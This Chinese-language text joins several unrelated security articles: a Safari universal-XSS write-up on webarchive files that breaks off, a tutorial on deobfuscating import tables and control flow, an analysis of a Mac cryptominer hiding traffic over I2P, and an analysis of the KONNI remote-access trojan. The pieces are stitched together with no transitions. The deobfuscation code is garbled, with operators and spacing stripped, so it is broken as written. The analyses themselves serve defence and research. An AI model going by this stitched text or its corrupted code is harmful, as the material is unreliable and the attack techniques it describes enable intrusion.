該頁面竟將該URI視為有效,並重新加載了相同的內容。這意味著我只是使用了一個技巧就更改了document.domain(CVE-2020-3885)。

果然,Safari認為在skype.com上,可以加載一些惡意的JavaScript。當你打開本地HTML文件時,攝像頭,麥克風和屏幕共享都會受到損害。 Safari似乎也使用這種惰性主機名解析方法來填充密碼的自動完成功能,因此,如果你接受自動完成功能,就可以竊取純文本密碼。

加3.png

此攻擊需要受害者打開本地HTML文件。另外,它在iOS上不起作用,因為通過Mobile Safari下載的本地文件在沒有JavaScript引擎的情況下以預覽樣式的嵌入式視圖顯示。

現在我們需要真正將我們的惡意代碼注入目標源,換句話說,我們需要找到一個通用跨站腳本(UXSS) 漏洞。

那麼UXSS與通常的XSS區別是什麼?因為同源策略,即使一個漏洞頁面存在XSS,我們可以訪問用戶會話信息卻無法訪問其他域的相關的會話信息,而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞,所以對於攻擊發起時瀏覽器打開或緩存的所有頁面(即使不同域的情況)的會話信息都可以進行訪問。簡單的說,UXSS不需要一個漏洞頁面來觸發攻擊,它可以滲透入安全沒有問題的頁面,從而創造一個漏洞,而該頁面原先是安全無漏洞的。

因為UXSS攻擊不需要頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS裡危險和最具破壞性的攻擊類型之一。

同樣,我們可以建立一個網站,它可以跳轉到https://zoom.com打開攝像頭,跳轉到https://paypal.com轉賬,並劫持https://gmail.com來竊取電子郵件。

在繼續之前,我應該澄清一個事情。本文講的這個漏洞與我的上一篇講的Safari攝像頭被攻擊到底有什麼不同?該漏洞會專門針對存儲的多媒體權限。它沒有給我在任意原點上執行代碼的能力。查看我的攻擊圖,看看哪些來源被使用。換句話說,本文的攻擊鏈只會讓我利用Skype的攝像許可,但不會讓我竊取Skype的cookie。

首先讓我們嘗試在Safari最新版本(撰寫本文時為Safari v15 beta版)中找到一個UXSS漏洞。和往常一樣,第一步首先是要做大量的研究。

攻擊計劃在閱讀了大量關於Safari UXSS漏洞補丁的文章後,我決定將研究重點放在webarchive 文件上。 webarchive 文件是Mac 系統Safari 瀏覽器的存檔文件,是保存網頁內容的特殊文件格式Mac OS X 系統帶有文件轉換功能,可以把webarchive 文件變成html 文件。當用戶在本地保存網站時,這些文件是由Safari創建的,作為HTML的替代品。

3.webp.jpg

Safari瀏覽器將網站保存為webarchival文件

這些文件的一個令人吃驚的特點是,它們指定了內容應該呈現的網絡來源。

4.webp.jpg

Webarchive文件格式

這是一個很棒的技巧,可以讓Safari重建保存的網站的上下文,但正如Metasploit開發者在2013年指出的那樣,如果攻擊者能夠以某種方式修改這個文件,他們就可以有效地實現設計好的UXSS。

根據Metasploit 的說法,蘋果並不認為這種攻擊場景真的可以實現,因為“webarchive必須由客戶端下載並手動打開。”當然,這個決定是在近十年前做出的,當時瀏覽器安全模型還沒有今天那麼成熟。

蘋果決定支持這種超級強大的文件類型,這樣攻擊就會嘗試在受害者的設備上強行打開它們。攻擊可以分為兩個步驟:

1.強行下載一個惡意的webarchive 文件;

2.強行打開它;

直到最近,還沒有任何保護措施來阻止第一步。在Safari 13之前,網站在下載任意文件之前甚至不會向用戶顯示任何警告。所以植入webarchive文件很容易。自從出現了Safari 13以上的版本,每次下載前都會提示用戶。

而強行打開wearchive文件則更加困難,但仍然可以通過以某種方式導航到file://URI 方案來管理。當Safari的存在漏洞頁面出現在file://scheme中時,就會發現如何故意調用漏洞頁面來改變它的路徑名,這種攻擊方法被戲稱為“Errorjacking”,先後出現過兩種變體(1,2)。另一種在當時有效的方法是簡單地將標記設置為file://。

但到了2022年,該技巧就不靈了。不僅默認情況下會阻止自動下載,而且webarchive文件被macOS Gatekeeper認為是惡意應用程序。這意味著用戶甚至不能自己手動打開國外的webarchive。目前,蘋果似乎已經改變了他們在2013年對這些文件有多危險的看法。

5.webp.jpg

Safari 13以上版本中的下載提示

6.webp.jpg

Gatekeeper預防策略

儘管如此,webarchive文件看起來還是太有趣了,讓人無法放棄。讓我們來探索一下,這種老式的攻擊攻擊方式是如何在最新的Safari 和macOS 版本上發生的。

探索自定義URI 方案通過深入研究IANA 註冊的官方URI 方案,我在上一個Safari 攝像頭攻擊項目中取得了成功。該項目在很大程度上受到RFC 和公共文檔的指導。但是我忽略了整個自定義URL 方案的世界。這些非官方和大部分未記錄的方案通常被第三方iOS/macOS 應用程序用作深度鏈接的一種形式。

有趣的是,Apple Help Viewer (help://)、FaceTime (facetime-audio://) 和Apple Feedback (applefeedback://) 等多個系統應用程序也支持自定義URI 方案。在Safari 的網站上濫用這些方案並不是一種新技術。事實上,一段時間以來,攻擊一直在尋找使用自定義方案來啟動並利用其中的漏洞系統應用程序的方法。攻擊範圍包括煩人的撥打電話、協助社會工程到任意文件執行。

為了幫助對抗這些攻擊,Safari 的現代版本會在盲目啟動輔助應用程序之前警告用戶。也就是說,除非它們是Blackhat 演示中確定的硬編碼異常之一。

7.webp.jpg

Safari 將在沒有提示的情況下啟動的自定義URI 方案

所有這些方案都在Launch Services 中註冊,因此你可以通過以下命令列出它們:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister-dump|grep-B6bindings:*:|grep-B6apple-internal在仔細研究了蘋果的內部方案後,並將它們與Safari信任的方案進行交叉比對後,我發現了一個吸引我眼球的方案——“icloud-sharing:”。這個方案似乎是由一個名為“ShareBear”的iCloud共享應用程序註冊的。

8.webp.jpg

關於icloud-sharing的LaunchServices數據

我對ShareBear很感興趣,因為分享iCloud文件似乎是下載和發布webarchive文件的可行途徑。我找不到任何關於這個計劃的公開文檔或研究,所以我就自己開始研究它。

現代軟件經常將混淆技術作為其反篡改策略的一部分,以防止黑客逆向分析軟件的關鍵組件。他們經常使用多種混淆技術來抵禦黑客的攻擊,這有點像滾雪球:隨著雪層的增多,軟件規模也隨之變大,使其逆向分析難度隨之提高。

在這篇文章中,我們將仔細研究兩種常見的混淆技術,以了解它們是如何工作的,並弄清楚如何去混淆。

概述這裡,我們將研究以下混淆技術:

基於IAT導入表的混淆技術

基於控制流的混淆技術

基於IAT導入表的混淆技術在深入介紹基於IAT導入表的混淆方法之前,先讓我解釋一下導入表到底是什麼。

什麼是導入函數?當進行逆向分析時,需要弄清楚的第一件事,就是它如何調用操作系統的函數。在我們的例子中,我們將重點關注Windows 10系統,因為大多數視頻遊戲只能在Windows系統上運行。無論如何,對於那些還不知道的人來說,Windows提供了一系列重要的動態鏈接庫(DLL)文件,幾乎每個Windows可執行文件都會用到這些庫文件。這些DLL文件中保存了許多函數,可以供Windows可執行文件“導入”,使其可以加載和執行給定DLL中的函數。

1.png

它們為何如此重要?例如,Ntdll.dll庫負責幾乎所有與內存有關的功能,如打開一個進程的句柄(NtOpenProcess),分配一個內存頁(NtVirtualAlloc,NtVirtualAllocEx),查詢內存頁(NtVirtualQuery,NtVirtualQueryEx),等等。

另一個重要的DLL庫是ws2_32.dll,它通過以下函數處理各種網絡活動:

Socket

Connect/WSAConnect

Send/WSASend

SendTo/WSASendTo

Recv/WSARecv

RecvFrom/WSARecvFrom

現在讀者可能會問,知道這些有什麼意義呢?好吧,如果您把一個二進製文件扔到像IDA這樣的反彙編器中(我通常會做的第一件事),就是檢查所有導入的函數,以便對二進製文件的功能有一個大致的了解。例如,當ws2_32.dll存在於導入表中時,表明該二進製文件可能會連接到Internet。

現在,我們可能想要進行更深入的研究,並考察使用了哪些ws2_32.dll函數。如果我們使用Socket函數並找出它的調用位置,我們就可以檢查它的參數,這樣,我們就可以通過搜索引擎查找相應的函數名,從而輕鬆地找出它所使用的協議和類型。

1.png

注意:IDA已自動向反彙編代碼中添加了註釋。

經過混淆處理的導入表無論如何,這些Windows函數能提供相當多的信息,因為它們是有據可查的函數。因此,攻擊者希望能夠把這些函數藏起來,以掩蓋正在發生的事情。

我們在反彙編器中看到的所有這些導入函數都是從導入地址表(IAT)加載的,該表在可執行文件的PE頭文件中的某個地方被引用。一些惡意軟件/遊戲通常試圖通過不直接指向DLL函數來隱藏這些導入地址。相反,他們可能會使用一個蹦床或迂迴函數。

考察我們的示例在這個例子中,我們使用的是一種蹦床式混淆技術,具體如下所示:

1.png

下面的地址0x7FF7D7F9B000引用了我們的函數0x19AA1040FE1,儘管看起來完全不是這麼回事。您可能認為這是垃圾代碼,但仔細看看,您會發現並非如此。

請仔細查看前兩個指令:前面的指令是mov rax, FFFF8000056C10A1,後面的指令是jmp 19AA1040738,後面的都是垃圾指令。不管怎樣,讓我們跟隨跳轉指令,看看它會跳到哪裡:

1.png

看,又是4個有效的指令,這次是一個異或指令和兩個加法指令,然後是另一個跳轉指令。讓我們把這個過程再重複幾遍.

1.png

1.png

最後,我們來到jmp rax指令!需要注意的是,所有的XOR、SUB和ADD指令都是在Rax寄存器上執行的,這意味著它可能包含導入函數的實際指針。下面,讓我們算算看。

1.png

實際上,在經過數學運算之後,我們得到了指向advapi32.regopenkeyexa的指針!

1.png

現在,我們所要做的就是重複幾百次運算,從而徹底消除針對IAT導入表的混淆處理。

基於IAT的自動去混淆處理我想,沒有人喜歡用計算器手工重複上述過程,做一次已經很煩了。從現在開始,我們將使用C#實現自動計算。正如您可能已經看到的,我們只需要處理在同一個寄存器上執行的ADD、SUB和XOR操作。原因是Rax被用作返回地址,而諸如Rcx、Rdx、R8、R9和其他寄存器對於被調用方來說是不安全的,並且可能與調用約定衝突。這意味著,我們甚至不需要使用反彙編器,因為我們可以很輕鬆地區分這些指令,這要歸功於涉及的寄存器和操作碼寥寥無幾。

到此為止,我們已經詳細解釋了混淆處理技術。接下來,大家不妨以Unsnowman項目中的importfix.cs為例,來了解與去混淆處理相關的代碼。

基於控制流的混淆技術在逆向分析二進製文件時,另一個有價值的信息來源是彙編指令本身。對於人類來說,它們可能難以理解,但對於像IDA這樣的反編譯器來說,我們只需按下F5鍵,IDA就會生成我們人類可以理解的偽代碼。

混淆實際指令的一個簡單方法,是組合使用垃圾代碼和不透明分支(即該分支條件總是為不成立,也就是說,該分支用於也不會被執行)。這意味著:把垃圾代碼放在一個分支指令之後。訣竅在於,我們可以使用條件轉移,但是,要確保條件永遠為真,這樣分支就會一直被執行。反彙編器不知道的是,條件跳轉在運行時總是為真,這使得它相信條件跳轉的兩個分支都可以在運行時到達。

好吧,如果還不太明白的話,可以藉助下面的截圖來加深理解。第一張截圖顯示的是落到另一條指令中的jbe。

1.png

注意:用紅色標記的字節是垃圾代碼。

現在仔細看看下面的第二張圖片,我在這裡所做的只是NOP最後一條指令的兩個字節,以便讓IDA顯示隱藏在and [rdx+24448B48h], bh指令後面的指令。

1.png

我們也可以用無條件跳轉來修補條件跳轉,以確保IDA不會再次上當。

在我們繼續之前,我想展示最後一個例子,因為前面的例子太簡單了。當我們將這些實現混淆處理的跳轉鏈接起來時,事情就變得複雜起來,具體如下圖所示。

1.png

然而,這張圖只顯示了它在控制流方面造成的混亂,但想像一下,當IDA竭盡全力根據垃圾指令創建這張圖時,我的CPU是多麼的痛苦。

現在,您可能想知道去混淆後的函數到底是什麼樣子的,別急,請看下圖!

1.png

看到我在左邊畫的那個藍色小箭頭了嗎?右邊顯示的就是這部分內容的放大版本。現在看一下右邊,在函數的一小部分中就有七個去混淆的跳轉。想像一下,以手動或半自動方式去混淆得需要多少時間。實際上,就算用IDA腳本手工完成這個過程,也花了我40分鐘……這還只是處理了一個函數。設想一下,為了找到真正要找的東西,還得需要處理多少其他的函數呢?

基於控制流的自動去混淆技術好了,現在我們已經考察了基於控制流的去混淆原理,接下來,我們將對這個過程實現自動化。正如我之前提到的,我們曾經用IDA腳本來修補無條件跳轉指令,並將垃圾指令替換為NOP指令。

然而,這個去混淆過程還是花了我40分鐘,因為識別不透明的分支非常費勁。那麼,我們該如何解決這個問題呢?大家可能認為應該檢查每一個條件跳轉指令,並檢查它是否是不透明的,如果是的話,就用NOP替換它,然後重複上述過程,對吧?錯了!

讓我告訴你一個秘密,我們並不關心什麼是不透明的,或諸如此類的事情。我真正關心的是,當我按下F5鍵時,IDA能否返回反編譯好的代碼——只要這些經過混淆的跳轉指令導致垃圾指令與實際的彙編指令發生衝突,這種情況就不會發生。

但這是否意味著我們需要弄清楚一個條件跳轉是否是不透明的呢?不,我們只需檢查跳轉操作是否與現有的指令相衝突,如果是的話,就對這個指令進行相應的修改,就像我們第一個例子中看到的那樣。

DeFlow去混淆算法現在,我們知道瞭如何解決這個問題,下面,我們開始深入研究本人想出的算法,以便對用這種混淆技術處理的內容進行去混淆。

List

//Bufferisacopyofthe.textsection

functionDeflow(byte[]buffer,ulong[]functions)

for(inti=0;ifunctions.Length;i++)

do

intnewDiscovered=0;

List

while(chunks.Count!=0)

List

foreach(varcinchunks)

newChunks.AddRange(DeflowChunk(buffer,c));

newDiscovered+=chunks.Count;

chunks=newChunks;

while(newDiscovered!=0)

functionDeflowChunk(address)

List

//63thbitindicatesifthisaddresswasextractedfromanegativejumpornot

boolisNegative=address63==1;

address=163;

//Checkifalreadydiscovered

if(_alreadyDiscovered.Contains(address))

returnnewChunks;

_alreadyDiscovered.Add(address);

ulonglastBranch=0;//Indicatesourlastconditionaljumpaddress

ulonglastBranchSize=0;//Sizeofthelastconditionaljumpaddress

ulonglastTarget=0;//Targetlocationofthelastconditionaljump

intstepsLeft=0;//Steps(bytes)lefttoreachlastTargetfromcurrentaddress

//UsageofSharpDisasm

vardisasm=newDisassembler(buffer,address-base);//NOTE:base=BaseAddress+.textoffset

foreach(varinsnindisasm.Disassemble())

ulongtarget=0;

ulonglastAddrStart

boolisJmp=true;

switch(insn.Mnemonic)

//StopanalysingwhenweencounterainvalidorreturninstructionwhilewehavenolastTarget

caseud_mnemonic_code.Invalid:

caseud_mnemonic_code.Ret:

if(lastTarget==0)

returnnewChunks;//OnlyacceptwhennolastTargetaswemaybelookingatjunkcode

break;

caseud_mnemonic_code.ConditionalJump://allconditionaljumps

if(lastTarget==0)

target=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction

if(!isInRange(target))//HelpertoseeiftargetaddressislocatedinourBuffer

isJmp=false;

break;

//Checkifinstructionisbiggerthen2,ifsoitwontbeobfuscatedbutwe

//dowanttoanalysethetargetlocation

if(insn.Length2)

isJmp=false;

newChunks.Add(target);

break;

else

isJmp=false;//Donotthisconditionaljumpacceptwhilewealready

//haveatarget(mightbelookingatjunkcode)

break;

caseud_mnemonic_code.UnconditionalJump:

caseud_mnemonic_code.Call:

if(lastTarget==0)

ulongnewAddress=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction

if(!isInRange(newAddress))

isJmp=false;

break;

//AddtargetandnextinstructionIFnotJMP(CALLdoesreturn,JMPnot)

if(insn.Mnemonic==ud_mnemonic_code.Call)

newChunks.Add(address+insn.PC);

//Addinstructiontargetforfurtheranalyses

newChunks.Add(newAddress);

returnnewChunks;

break;

//quickmafs

ulonglocation=(address+insn.Offset);

stepsLeft=(int)(lastTarget-location);//OnlyvalidifwehavealastTarget!

//SetupanewtargetifcurrentinstructionisconditionaljumpwhilethereisnolastTarget

if(lastTarget==0isJmp)

lastBranch=loction;

lastBranchSize=insn.Length;

lastTarget=target;

elseif(stepsLeft=0lastTarget!=0)

//ifstepsLeftisn'tzerothenourlastTargetislocatedslighltaboveus,

//meaningthatwearepartlylocatedinsidethepreviousinstructionandthuswearehidden(obfuscated)

if(stepsLeft!=0)

intcount=lastTarget=lastBranch;//calculatehowmuchbytesweareinthenextinstruction

if(count0)

//makingsureweareapositivejump

intbufferOffset=lastBranch-base;//subtractbasefromoutaddresssowecanwritetoourlocalbuffer

//NOPslideeverythingexceptourowninstruction

if(inti=0;icount-lastBranchSize;i++)

buffer[bufferOffset+lastBranchSize+i]=isNegative?0x90:0xCC;//WeuseNOPfornegativejumps

//andint3forpositive

if(!isNegative)

buffer[bufferOffset]=0xEB;//ForceunconditionalJump

//addnextinstructionforanalysesandexitcurrentanalysis

newChunks.Add(lastTarget);

returnnewChunks;

else

//weareanegativejump,set63thbittoindicatenegativejump

lastTarget=|=163;

//addtargetto

一個Mac 挖礦軟件被發現在其例行程序和I2P 網絡中使用開源組件來隱藏其流量。我們深入研究了這種惡意軟件的舊版本,並分析了最新版本。

挖礦軟件是攻擊者最喜歡應用的惡意軟件類型,一旦安裝在受害者的設備上,它們幾乎不需要維護。攻擊者可以讓挖礦軟件偽裝成合法的應用程序,誘騙易受攻擊的用戶在他們的系統上運行它。在這篇文章中,我們會介紹2022 年1 月上旬發現的貨幣挖礦軟件樣本的分析結果。該樣本使用了幾個經過修改的開源組件,攻擊者對其進行了修改。該樣本還被發現使用i2pd(又名I2P 守護程序)來隱藏其網絡流量。 I2pd 是隱形Internet 協議或I2P 客戶端的C++ 實現。 I2P 是一個通用匿名網絡層,它允許匿名的端到端加密通信,攻擊者不會透露他們的真實IP 地址。以前,其他Mac 惡意軟件樣本(Eleanor、DOK、Keranger)使用Tor 來隱藏其網絡活動,因此i2pd 的這種用法是最新出現的。

攻擊過程主要惡意軟件樣本被檢測為Coinminer.MacOS.MALXMR.H (SHA 256 9518906dc416de6c6a5d17479244cf698b062c1d6b4425d86ee6895ce66c7c39)。這是一個Mach-O 文件,很早就被多家供應商標記,因為它包含與XMRig 相關的字符串,這些字符串很容易被Yara 等採購工具捕獲。 XMRig 是用於挖掘門羅幣加密貨幣的命令行應用程序,由於其可用性和易用性,通常被其他惡意軟件用於執行加密挖掘。

發現主要的Mach-O 樣本是臨時簽名的,如下圖所示。這意味著Mach-O 二進製文件不會輕易在Mac 系統上運行,並且可能會被Gatekeeper 阻止,這是一個內置的安全機制強制執行代碼簽名的macOS 功能。

Mac%20Coinminer%201.webp.jpg

Mach-O 樣本的數字簽名,已經過臨時簽名

我們懷疑Mach-O 樣本以DMG(一種用於壓縮安裝程序的Apple 圖像格式)封裝到Adobe Photoshop CC 2019 v20.0.6。但是,未成功獲取父文件。我們根據下圖中的代碼片段得出了這個結論,該代碼片段可以在其刪除的文件中找到。在此代碼中,示例嘗試啟動/Volumes 路徑中不存在的文件。需要注意的是,對於DMG 文件,當在macOS 上雙擊時,它們默認安裝在/Volumes 目錄中。

2.png

嘗試啟動不存在文件的代碼片段

安裝貨幣挖礦軟件發現主要的Mach-O 樣本(檢測為Coinminer.MacOS.MALXMR.H)包含幾個嵌入式Mach-O 文件。執行時,它利用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限。

Mac%20Coinminer%203.webp.jpg

使用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限的代碼片段

Mac%20Coinminer%204.webp.jpg

測試期間顯示的用戶提示

然後,該示例會將以下文件放入系統中:

/tmp/lauth

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

/usr/local/bin/com.adobe.acc.installer.v1用於持久化的lauth 文件lauth 是Mach-O 文件,負責為惡意軟件的持久性例程創建以下文件:/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist。正是這個文件在每次啟動時啟動/usr/local/bin/com.adobe.acc.installer.v1。

5.png

LaunchDaemon plist 文件

該示例還嘗試啟動以下不存在的文件:/Volumes/Adobe Photoshop CC 2019 v20.0.6/Adobe Zii 2019 4.4.2.app/Contents/MacOS/.Patch。

6.png

lauth Mach-O 文件的代碼片段

用於啟動二進製文件的com.adobe.acc.installer.v1 文件com.adobe.acc.installer.v1 文件是com.adobe.acc.installer.v1.plist 在每次啟動時啟動的Mach-O 二進製文件。執行後,它會休眠60 秒,然後啟動以下Mach-O 二進製文件:

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

7.png

com.adobe.acc.installer.v1 的代碼片段

com.adobe.acc.localhost 挖礦示例Mach-O 二進製文件com.adobe.acc.localhost 負責挖礦示例。該文件是經過修改的XMRig 命令行應用程序。啟動應用時在參數中輸入--help 或--version 即可看到。 --version 參數顯示XMRig 二進製文件的版本,--help 參數顯示可以使用的參數的列表和說明。

8.png

在示例上使用--version 參數時顯示的命令行信息

XMRig 是一個開源、跨平台的命令行應用程序,用於挖掘加密貨幣。用戶可以從命令行輸入他們的挖礦服務器地址以及挖礦服務器的用戶名/密碼作為參數。或者,用戶也可以加載JSON 格式的配置文件,而不是使用參數。

9.png

XMRig 應用程序的命令行選項取自XMRig 網站,https://xmrig.com/docs/miner/command-line-options

對於此示例,我們使用從https://xmrig.com/下載的XMRig 對文件進行了交叉檢查,我們能夠在com.adobe.acc.localhost 二進製文件中觀察到以下JSON 格式的配置文件。我們採購的其他XMRig 二進製文件中不存在此嵌入式配置文件。

10.png

com.adobe.acc.localhost 中嵌入的JSON 格式的配置文件

以下是嵌入式配置文件中的以下值得注意的條目:

挖礦服務器:127.0.0.1:4545

用戶名:pshp

密碼:x

需要注意的是,挖礦服務器地址似乎無效,因為127.0.0.1 地址是本地主機地址。

11.png

惡意軟件樣本(右)和XMRig 二進製文件(左)的比較。請注意惡意軟件樣本使用嵌入式JSON 格式的配置文件。

將/usr/local/bin/com.adobe.acc.network 識別為修改後的i2pd 應用程序在檢查com.adobe.acc.network Mach-O 文件中的可讀字符串後,我們能夠確定它是經過修改的i2pd 應用程序。使用--version 或--help 參數時,命令行中的以下顯示支持這一發現。

12.png

在示例上使用--version 參數時顯示的命令行信息

如前所述,i2pd 是用C++(而不是Java)編寫的I2P 的開源替代實現。

I2P 是一個匿名網絡層(實現為混合網絡),可以躲避安全審查,進行點對點通信。匿名連接是通過加密用戶的流量(通過使用端到端加密)並通過分佈在世界各地的大約55000 台計算機的志願者運行網絡發送來實現的。 I2P 也可以看作是Tor 的替代方案。

我們將惡意軟件二進製文件與從該鏈接下載的相同版本的官方二進製文件進行了比較:https://github.com/PurpleI2P/i2pd/releases/download/2.27.0/i2pd_2.27.0_osx.tar.gz。

由於二進製文件大小約為10 MB,因此查找惡意軟件例程具有挑戰性。正因為如此,我們將注意力集中在官方版本中沒有的可讀字符串和代碼上。然後我們能夠找到以下可疑字符串和相關代碼片段:e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545I。

13.png

com.adobe.acc.network 中包含配置信息的代碼片段。請注意,圖像經過編輯以便於查看。

以下信息取自上圖:

14.png

我們查看了i2pd 文檔,我們能夠從以下鏈接中找到一些有用的信息:https://i2pd.readthedocs.io/en/stable/user-guide/tunnels/#client-tunnels。

15.png

i2pd 文檔的屏幕截圖

基於上述信息,我們可以得出結論,到127.0.0.1:4545 的XMRig 流量將通過i2pd 隧道傳輸到e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545。我們可以使用lsof 終端命令查看此連接。

16.png

lsof 命令顯示示例訪問的IP 地址和端口

需要注意的是,網站e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545只能通過I2P訪問。

發現舊樣本我們使用TLSH、Yara 和其他工具在VirusTotal 和我們的樣本集合中尋找其他類似的樣本。我們能夠找到以下樣本,它們也使用i2pd 將流量隧道傳輸到I2P 網站以下載可能的惡意樣本。

17.png

在分析了較舊的樣本後,我們發現了某些相似之處:

這些樣本被懷疑偽裝成Adobe Photoshop 或Logic Pro X。

所有五個示例都使用i2pd 訪問同一個i2pd 下載服務器。

下載服務器託管多個文件。

一些樣本利用隨機文件名和零字節填充來逃避檢測。

觀察到四個樣品具有持久性常規,一個示例嘗試覆蓋已安裝的Adobe Photoshop 應用程序中的Mach-O 可執行文件。

懷疑所有樣本都封裝在DMG 文件中,因為這些樣本嘗試從默認掛載DMG 文件的/Volumes 目錄啟動或複制。

對於下載的後綴為“_md5”的文件,其內容預計為md5哈希。哈希值將與其他下載文件的md5 哈希值進行比較。如果它們不相等,帶有“_md5”後綴的文件將重試下載。

對於較舊的示例,創建了兩個隧道,但只使用了127.0.0.1:4546。最新的挖礦軟件樣本只創建了一個隧道:127.0.0.1:4545。

18.png

lsof 命令顯示了舊樣本訪問的IP 地址和端口

總結我們調查了一個使用多個個性化開源應用程序來增強其惡意程序的挖礦軟件樣本。我們發現,即使修改很小,它們似乎也很有效。我們還發現,該惡意軟件利用i2pd 將其網絡流量隱藏在未經訓練的人眼中,這與其他使用知名Tor 的惡意軟件不同。

photodune-2835222-computer-mouse-m-900x506.jpg

KONNI是一種遠程訪問木馬,至少在8年前就被發現了。使用這款惡意軟件的朝鮮威脅者已經在金蘇基的保護傘下被確認。這個組織一直試圖發起攻擊,主要目標是俄羅斯和韓國的政治機構。

近日,研究人員發現朝鮮APT組織Konni的攻擊活動,該組織向俄羅斯大使館外交官發送以新年問候為主題的電子郵件,以進行情報收集活動。在本次攻擊活動中,最終的植入程序被稱為Konni RAT,其代碼和行為與其以前的版本相似。攻擊中所使用的攻擊鏈與該組織的TTP重疊,包括使用CAB 文件作為感染階段以及使用bat 文件自動安裝Konni RAT 並設為服務。

攻擊鏈攻擊通常開始於惡意Office文檔地利用,當這個文檔被受害者打開時,一個多階段攻擊就開始了,涉及多個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。正如我們在之前的一篇文章中所描述的,攻擊鏈可以用下圖來概括:

1.png

簡化後的攻擊鏈

可以看到攻擊是從利用惡意Office文檔開始的。當這個文檔被受害者打開時,一個多階段攻擊就開始了,包括各個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。

攻擊的最終目標是安裝所謂的“KONNI Rat”,這是一個由.ini 文件支持的.dll 文件。簡而言之,dll 文件包含RAT 的功能,ini 文件包含第一個CC 服務器的地址。 KONNI Rat 的一般行為與以前的版本幾乎相同,但我們將在下面介紹一些變化。

不再支持Rundll在之前的KONNI Rat示例中,有兩個途徑。一個處理惡意軟件是否通過Windows服務啟動,另一個通過rundll處理執行。下圖顯示了這兩個過去的途徑,svchost.exe和rundll32.exe字符串可見:

2.png

顯示svchost.exe 和rundll32.exe 字符串的老式主函數

但是,新示例不會顯示這些字符串。實際上,rundll 不再是執行示例的有效方式。相反,當使用rundll 發生執行嘗試時,會在早期階段引發異常。

3.png

rundll 執行產生的異常

在我們分析的早期階段,我們認為他們正在使用經典的進程名稱檢查或任何其他常用技術。現實要簡單得多。實際的導出只是實現了SvcMain 原型,因此程序在訪問其中一個參數時會在某個時候中斷。

在上圖中,我們看到了出現此異常時設備的狀態。此時的RDI 應包含指向一個服務名稱的指針。發生異常是因為Service Main 函數滿足一個原型,而rundll32 將期望另一個不同的原型:

VOIDWINAPISvcMain(DWORDdwArgc,LPTSTR*lpszArgv)

VOIDWINAPIrunnableExport(HWNDhwnd,HINSTANCEhinst,LPSTRlpszCmdLine,intnCmdShow)基本上,在執行過程中,hinst 將被視為lspzArgv,從而導致異常。但為什麼攻擊者要刪除該功能呢?有多種好處。

首先,我們還沒有看到任何最近使用rundll的攻擊。事實上,在最近的攻擊活動中,攻擊者發起KONNI Rat的唯一方式就是註冊一個Windows服務。因此,在真實世界的攻擊中並沒有使用rundll32分支。

但沙盒無法收集示例的真實行為還有另一個重要原因,因為它無法以這種方式執行。

字符串現在使用AES保護多個惡意軟件家族保護他們的字符串,目的就是為了防止字符串分析。 KONNI也不例外,他也使用了這種技術。老式示例使用base64進行模糊處理處理。而且,他們使用的是自定義字母表。為了使解碼任務更加困難,這個習慣字母表不時地發生變化:

4.png

舊的Konni 示例包括他們自定義的base64 字母,後面跟著模糊處理的字符串

現在,攻擊者在這方面做了一個重大的改變,使用AES加密來保護字符串。新的Konni RAT 示例所遵循的算法可以表示如下:

5.png

新的KONNI 示例現在使用AES 加密來保護字符串

這一變化背後的原因是顯而易見的。由於用於解密的密鑰是服務名,不同服務名運行的示例將無法正常工作。此外,在不知道服務名稱的情況下僅擁有示例變得毫無用處,因為這些字符串包含有關示例行為的核心信息。

文件也使用AES進行保護KONNI Rat 在執行時會使用各種支持文件,其中一個文件是.ini 文件,其中包含主要的CC 服務器,但還有其他文件,例如應該最終刪除的.dat 文件,以及用於發送有關計算機的一些基本信息的臨時文件。

調查顯示,所有這些文件都使用AES進行了刪除和保護。巧妙的地方在於,他們重用了用於字符串保護的算法,使文件佈局與受保護的字符串佈局相同,因為它們出現在原始內存中:

6.png

新的KONNI示例現在也使用AES加密來保護文件

從圖中可以看出,文件本身包含了IV和加密的數據。使用的密鑰是從其原始文件名中提取的。在某些情況下,名稱與服務名稱匹配,因此.ini 和.dat 文件中使用的密鑰也是對服務名稱應用SHA256 的結果。

此外,發送到CC 服務器的文件使用AES 進行保護。 IV 是使用QueryPerformanceCounter API CALL 生成的。文件名由表示數據的2個字母和當前時間戳連接而成,後面跟著擴展名。此外,他們將使用這個新生成的名稱作為AES密鑰,因此他們通過請求將這個名稱發送到CC服務器。

7.png

即將發送到服務器的請求片段

由於文件名是使用時間戳自動生成的,因此相同的文件將產生不同的請求內容,因為它們是使用該文件名加密的。因此,網絡簽名也可能無法檢測到此惡意活動。

其他模糊處理技術除了發現一些僅通過我們之前描述的方式受到保護的示例,我們還發現了其他使用身份不明的封裝程序的示例。我們想分享一些關於該封裝程序的註釋,因為其他人可能會發現它在識別和歸因任務中很有用。

指令連續模糊處理模糊處理程序的流程將使用一系列推送調用指令對,其中推送的值將指示程序將採取的行動。下圖可以更好地解釋其過程:

8.png

推送調用指令對

特別值得注意的是,攻擊者在這些對之間放置了隨機字節。這個愚蠢的技巧會導致反編譯程序錯誤的代碼解釋,這些反編譯程序會假定push 指令之後的字節是下一條指令的一部分。下圖顯示了IDA 無法分析代碼的原因:

9.png

與前面的代碼相同,顯示了IDA為何不能表示真正的代碼

模糊處理程序流程使用的封裝程序會模糊處理原始程序流程。這是通過不同的步驟中完成的。第一個需要的步驟是找到Image Base 值,放置在一個固定位置和RIP(指令指針)值。

10.png

EBX 將保存RIP 值

